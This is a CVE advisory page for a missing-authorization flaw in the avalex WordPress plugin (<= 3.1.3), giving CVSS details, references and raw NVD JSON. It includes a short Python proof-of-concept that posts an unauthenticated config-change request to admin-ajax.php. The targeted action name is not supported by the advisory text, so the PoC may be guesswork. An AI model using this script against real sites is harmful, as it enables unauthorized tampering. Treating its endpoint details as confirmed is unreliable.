CVE-2026-25462

Description

Missing Authorization vulnerability in avalex avalex avalex allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects avalex: from n/a through <= 3.1.3.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

avalex <= 3.1.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    PoC for CVE-2026-25462: Missing Authorization in avalex.
    This script attempts to perform an action without authentication.
    """
    # Target endpoint vulnerable to missing authorization
    endpoint = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload to trigger the action
    payload = {
        "action": "avalex_update_config", 
        "setting": "malicious_value"
    }
    
    try:
        response = requests.post(endpoint, data=payload, timeout=10)
        if response.status_code == 200:
            print("[+] Potential successful exploitation detected.")
            print(f"[+] Response: {response.text[:100]}")
        else:
            print("[-] Exploit failed or target patched.")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://example.com" # Replace with actual target
    exploit_missing_auth(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25462
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25462
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25462/
[4] VulDB https://vuldb.com/cve/CVE-2026-25462
[5] https://patchstack.com/database/Wordpress/Plugin/avalex/vulnerability/wordpress-avalex-plugin-3-1-3-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25462", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:52.430", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in avalex avalex avalex allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects avalex: from n/a through <= 3.1.3."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en avalex avalex avalex permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a avalex: desde n/a hasta <= 3.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/avalex/vulnerability/wordpress-avalex-plugin-3-1-3-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}